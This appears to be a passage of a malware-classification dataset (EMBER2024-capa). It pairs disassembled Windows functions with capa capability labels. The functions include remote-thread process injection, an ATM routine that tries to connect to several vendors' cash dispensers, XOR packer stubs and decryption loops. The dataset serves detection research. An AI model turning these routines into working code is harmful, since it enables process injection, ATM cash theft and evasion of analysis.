joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49deb0
Capabilities:
Accept command line arguments
Delete directory
Get common file path
Write file on windows

Disassembly:
mov eax, 0x1820
call fcn.0040c510
cmp dword [0x22fc25c], 0x37
jne 0x49df6f
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x403298
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
lea eax, [esp + 0x824]
push eax
push 0x4032d0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea edx, [esp + 0x1020]
push edx
push 0
push 0x403364
push 0x403394
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0x4033b4
push 0x4033bc
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov eax, dword [0x22fc260]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x4bf3ec]
mov byte [eax + esi], dl
add esp, 0x1820
ret

Function at 0x49dfa0
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x64
mov edx, dword [0x4b6f40]
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx]
push ebx
mov ebx, dword [0x4b6f48]
push ebp
mov ebp, dword [0x4b6f4c]
push esi
mov esi, dword [ecx + 4]
mov dword [esp + 0x1c], edx
mov edx, dword [0x4b6f44]
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], 0xc6ef3720
mov dword [esp + 0x28], 0x9e3779b9
mov dword [esp + 0x24], edx
mov dword [esp + 0x1c], 0x20
jmp 0x49dff4
mov eax, dword [esp + 0x18]
mov edx, eax
mov edi, eax
shr edx, 5
shl edi, 4
add edi, ebx
add edx, ebp
xor edx, edi
mov edi, dword [esp + 0x10]
add edi, eax
xor edx, edi
sub esi, edx
mov eax, esi
shl eax, 4
mov dword [0x22f220c], 0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x20]
add dword [esp + 0x14], eax
mov edi, dword [esp + 0x10]
add edi, esi
cmp dword [0x22fc25c], 0x1be
jne 0x49e050
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov ecx, dword [esp + 0x78]
mov edx, esi
shr edx, 5
add edx, dword [esp + 0x24]
mov dword [0x22f2210], 0xff6b3619
xor edx, edi
xor dword [esp + 0x14], edx
mov dword [0x22f2214], 0xffffffff
mov eax, dword [esp + 0x14]
sub dword [esp + 0x18], eax
mov eax, dword [esp + 0x28]
sub dword [esp + 0x10], eax
dec dword [esp + 0x1c]
jne 0x49dff0
cmp dword [0x22fc25c], 0x8d4
jne 0x49e0bb
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x18]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x64
ret 4
mov edx, dword [esp + 0x18]
pop edi
mov dword [ecx + 4], esi
pop esi
pop ebp
mov dword [ecx], edx
pop ebx
add esp, 0x64
ret 4
Function at 0x406c81
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x460114], 0
jne 0x406cbf
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406c95
mov dword [ecx*4 + 0x460110], eax
inc ecx
cmp ecx, 0x100
jl 0x406c90
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406cec
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x460110]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406ccd
not eax
pop ebp
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x3cd47d1e
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x12830626
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4015e8
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x404ad0
call fcn.004018f4
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x40ad3c
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x4013a9
cmp eax, esi
jne 0x40139c
xor esi, esi
inc esi
mov ebx, esi
jmp 0x4013ac
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401383
xor esi, esi
inc esi
mov eax, dword [0x40ad38]
cmp eax, esi
jne 0x4013bf
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x4013ee
mov eax, dword [0x40ad38]
test eax, eax
jne 0x4013e8
mov dword [0x40ad38], esi
push 0x404190
push 0x404184
call fcn.004012f2
pop ecx
pop ecx
test eax, eax
je 0x4013ee
jmp 0x401516
mov dword [0x40770c], esi
mov eax, dword [0x40ad38]
cmp eax, esi
jne 0x401412
push 0x404180
push 0x404178
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x40ad38], 2
test ebx, ebx
jne 0x40141e
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x40ad40], 0
je 0x401442
push 0x40ad40
call fcn.00401834
pop ecx
test eax, eax
je 0x401442
push 0
push 2
push 0
call dword [0x40ad40]
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x40149e
test al, al
je 0x40145c
cmp dword [ebp - 0x1c], 0
jne 0x40149e
mov al, byte [esi]
test al, al
je 0x40146c
cmp al, 0x20
ja 0x40146c
inc esi
mov dword [ebp - 0x20], esi
jmp 0x40145c
test byte [ebp - 0x3c], 1
je 0x401478
movzx eax, word [ebp - 0x38]
jmp 0x40147b
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x407708], eax
cmp dword [0x4076fc], 0
jne 0x4014f2
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp al, 0x22
jne 0x4014ad
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x4014c0
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x401449
cmp dword [0x40770c], 0
jne 0x401501
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x407708]
jmp 0x401522
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00401939
ret
call fcn.00401a23
jmp 0x401349

Function at 0x402090
Capabilities:
Create thread

Disassembly:
push esi
push dword [0x408c54]
call dword [sym.imp.USER32.dll_DestroyWindow]
push 1
xor esi, esi
mov byte [0x408c5c], 1
push esi
push esi
push dword [0x408c48]
call dword [sym.imp.USER32.dll_RedrawWindow]
push esi
push esi
push dword [0x408c4c]
push 0x401ece
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
ret
Function at 0x40228a
Capabilities:
Write file on windows

Disassembly:
push esi
push edi
mov edi, 0x408c60
mov esi, ecx
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, esi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x40229f
push dword [0x408c58]
sub edx, ecx
push edx
push 1
push esi
call dword [sym.imp.msvcrt.dll_fwrite]
push dword [0x408c58]
call dword [sym.imp.msvcrt.dll_fflush]
mov ecx, 0x408d30
add esp, 0x14
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4022cf
sub ecx, edx
mov eax, 0xfff
sar ecx, 1
push esi
sub eax, ecx
push 0x404418
push eax
lea eax, [ecx*2 + 0x408d30]
push eax
call dword [sym.imp.msvcrt.dll__snwprintf]
add esp, 0x10
call fcn.004021f3
cmp eax, 0x14
jl 0x40230f
lea edx, [eax - 0x14]
call fcn.00402223
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
ret
Function at 0x402381
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push edi
push 0x408c60
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x404428
push str.C:xfsasdf.txt
call dword [sym.imp.msvcrt.dll_fopen]
xor esi, esi
mov dword [0x408c58], eax
push esi
call dword [sym.imp.msvcrt.dll_time]
push eax
call dword [sym.imp.msvcrt.dll_srand]
push str.__exchange
push dword [ebp + 0x10]
call dword [sym.imp.msvcrt.dll_strstr]
mov ecx, dword [0x408c4c]
add esp, 0x18
xor edx, edx
inc edx
test eax, eax
push esi
push esi
push esi
push 0x40294b
push esi
cmovne ecx, edx
push esi
mov dword [0x408c4c], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [ebp + 8]
push 0x7f00
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], esi
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
push edi
mov dword [ebp - 0x4c], 0x30
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x44], 0x4020cd
mov dword [ebp - 0x38], edi
call esi
push 0x7f00
push 0
mov dword [ebp - 0x34], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
and dword [ebp - 0x28], 0
push 0x7f00
push dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x24], str.win32app
call esi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x20], eax
push ecx
call dword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
jne 0x402466
xor eax, eax
inc eax
jmp 0x402518
push 0
push edi
mov dword [0x408c50], edi
mov eax, 0x80000000
xor edi, edi
push edi
push edi
push 0x1e0
push 0x280
push eax
push eax
push 0xcf0000
push str.NO_TOKEN
push str.win32app
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x408c48], eax
test eax, eax
je 0x40245e
push dword [ebp + 0x14]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x408c48]
call dword [sym.imp.USER32.dll_UpdateWindow]
push dword [0x408c54]
call dword [sym.imp.USER32.dll_SetFocus]
push edi
push edi
push edi
push 0x40235d
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push 0x1337
push 0x111
push dword [0x408c48]
call dword [sym.imp.USER32.dll_SendMessageW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x402508
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push edi
push edi
push edi
lea eax, [ebp - 0x1c]
push eax
call esi
test eax, eax
jne 0x4024f4
mov eax, dword [ebp - 0x14]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402520
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push ebx
push esi
push edi
push 0x40
push 0x3000
mov ebx, 0x1360
mov dword [ebp - 4], edx
push ebx
mov esi, ecx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x4025c7
lea eax, [ebp - 8]
push eax
push ebx
push 0x406388
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4025b9
cmp dword [ebp - 8], ebx
jne 0x4025b9
xor ecx, ecx
lea eax, [ebp - 0xc]
push eax
push ecx
push ecx
lea eax, [edi + 0xe40]
push eax
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
je 0x4025b4
push dword [ebp - 4]
lea eax, [ebp - 0x8c]
push str.Injected_mxsfs_killer_into__d.
push 0x7f
push eax
call dword [sym.imp.msvcrt.dll__snprintf]
add esp, 0x10
lea ecx, [ebp - 0x8c]
call fcn.00402319
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4025c7
mov ebx, 0x1360
push 0x8000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403dd9
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.Trying_Nautilus.
mov dword [ebp - 4], eax
call fcn.00401b2c
mov edi, dword [ebp + 0x1c]
mov ebx, dword [ebp + 0x18]
pop ecx
push edi
push ebx
push dword [ebp + 0x14]
jmp 0x403f34
push str.Trying_Nautilus2.
call fcn.00401b2c
mov esi, dword [ebp + 0x14]
pop ecx
push edi
push ebx
push esi
push 0xffff
push 0xea60
push 0x10
push str.nxcdm
push 0
push str.NXCdm
call dword [0x408d24]
test eax, eax
je 0x403f98
push str.Trying_Diebold.
call fcn.00401b2c
pop ecx
push edi
push ebx
push esi
push 0xffff
push 0xea60
push 0x10
push str.nxcdm
push 0
push str.DBD_AdvFuncDisp
call dword [0x408d24]
test eax, eax
je 0x403f91
push str.Trying_NCR.
call fcn.00401b2c
pop ecx
push edi
push ebx
push esi
push 0xffff
push 0xea60
push 0x10
push str.nxcdm
push 0
push str.CurrencyDispenser1
call dword [0x408d24]
test eax, eax
je 0x403f8a
push str.Trying_WINCOR.
call fcn.00401b2c
pop ecx
push edi
push ebx
push esi
push 0xffff
push 0xea60
push 0x10
push str.nxcdm
push 0
push str.CDM30
call dword [0x408d24]
test eax, eax
je 0x403f83
push str.Trying_NexGen..
call fcn.00401b2c
pop ecx
push edi
push ebx
push esi
push 0xffff
push 0xea60
push 0x10
push str.nxcdm
push 0
push str.DN_AdvFuncDisp.Connected_D..H
call dword [0x408d24]
mov dword [ebp - 8], eax
test eax, eax
je 0x403f75
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 4]
cmp eax, 0x493e0
ja 0x403f70
push str.Trying_Nautilus.
call fcn.00401b2c
pop ecx
push edi
push ebx
push esi
push 0xffff
push 0xea60
push 0x10
push str.nxcdm
push 0
push str.CashDispenser
call dword [0x408d24]
mov esi, eax
test esi, esi
jne 0x403e05
push str.Connected_Nautilus.
call fcn.00401b2c
mov eax, esi
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
jmp 0x403f69
push 0x404a08
call fcn.00401b2c
xor eax, eax
jmp 0x403f68
push str.Connected_WINCOR.
jmp 0x403f7a
push str.Connected_NCR.
jmp 0x403f7a
push str.Connected_Diebold.
jmp 0x403f7a
push str.Connected_Nautilus2.
jmp 0x403f7a
Function at 0x40a060
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x437d68]
jne 0x40a06a
repz ret
jmp fcn.0040c2dc

Function at 0x40b672
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x437d68]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040584e
and dword [ebp - 0x14], 0
cmp dword [0x43b2e0], 0
mov dword [ebp - 0x18], eax
jne 0x40b725
push 0x402aec
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b7cd
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402ae0
push ebx
call edi
test eax, eax
je 0x40b7cd
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402ad0
push ebx
mov dword [0x43b2e0], eax
call edi
push eax
call esi
push 0x402abc
push ebx
mov dword [0x43b2e4], eax
call edi
push eax
call esi
push 0x402aa0
push ebx
mov dword [0x43b2e8], eax
call edi
push eax
call esi
mov dword [0x43b2f0], eax
test eax, eax
je 0x40b725
push 0x402a88
push ebx
call edi
push eax
call esi
mov dword [0x43b2ec], eax
mov eax, dword [0x43b2ec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40b77e
cmp dword [0x43b2f0], ecx
je 0x40b77e
push eax
call esi
push dword [0x43b2f0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40b77e
test ebx, ebx
je 0x40b77e
call edi
test eax, eax
je 0x40b775
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b775
test byte [ebp - 8], 1
jne 0x40b77e
or dword [ebp + 0x10], 0x200000
jmp 0x40b7b1
mov eax, dword [0x43b2e4]
cmp eax, dword [ebp - 0x18]
je 0x40b7b1
push eax
call esi
test eax, eax
je 0x40b7b1
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b7b1
mov eax, dword [0x43b2e8]
cmp eax, dword [ebp - 0x18]
je 0x40b7b1
push eax
call esi
test eax, eax
je 0x40b7b1
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43b2e0]
call esi
test eax, eax
je 0x40b7cd
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b7cf
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a060
leave
ret
Function at 0x41e960
Capabilities:
Accept command line arguments
Delete directory
Get common file path
Write file on windows

Disassembly:
mov eax, 0x1820
call fcn.0040c520
cmp dword [0x227d25c], 0x37
jne 0x41ea1f
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x4032a8
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
lea eax, [esp + 0x824]
push eax
push 0x4032e0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
lea ecx, [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea edx, [esp + 0x1020]
push edx
push 0
push 0x403374
push 0x4033a4
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0x4033c4
push 0x4033cc
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov eax, dword [0x227d260]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x4403ec]
mov byte [eax + esi], dl
add esp, 0x1820
ret

Function at 0x41ea50
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x60
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx]
mov edx, dword [0x437f44]
push ebx
push ebp
push esi
mov esi, dword [ecx + 4]
mov ecx, dword [0x437f40]
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x437f48]
mov dword [esp + 0x20], edx
mov edx, dword [0x437f4c]
push edi
mov dword [esp + 0x14], eax
mov edi, 0xc6ef3720
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edx
mov ebp, 0x20
jmp 0x41eaa4
mov eax, dword [esp + 0x14]
mov ecx, eax
shr ecx, 5
add ecx, dword [esp + 0x18]
mov edx, eax
shl edx, 4
add edx, dword [esp + 0x1c]
add eax, edi
xor ecx, edx
xor ecx, eax
sub esi, ecx
mov ecx, esi
shl ecx, 4
mov dword [0x227320c], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x20]
add dword [esp + 0x10], eax
cmp dword [0x227d25c], 0x1be
lea ebx, [edi + esi]
jne 0x41eaf9
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, esi
shr eax, 5
add eax, dword [esp + 0x24]
mov dword [0x2273210], 0xff6b3619
xor eax, ebx
xor dword [esp + 0x10], eax
mov dword [0x2273214], 0xffffffff
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
add edi, 0x61c88647
dec ebp
jne 0x41eaa0
cmp dword [0x227d25c], 0x8d4
jne 0x41eb5f
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0x60
ret 4
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x60
ret 4
Function at 0x403860
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x330
mov eax, dword [0x462074]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x228
lea eax, [ebp - 0x32c]
mov ebx, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x330], 0x22c
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x403953
lea eax, [ebp - 0x330]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x403953
push 0xff
lea eax, [ebp - 0x30c]
push eax
push 0xff
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
add esp, 0x14
lea eax, [ebp - 0x104]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x403967
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x330]
push eax
push esi
call edi
test eax, eax
je 0x403953
nop dword [eax]
push 0xff
lea eax, [ebp - 0x30c]
push eax
push 0xff
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
add esp, 0x14
lea eax, [ebp - 0x104]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x403967
lea eax, [ebp - 0x330]
push eax
push esi
call edi
test eax, eax
jne 0x403910
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043fcc3
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x328]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0043fcc3
mov esp, ebp
pop ebp
ret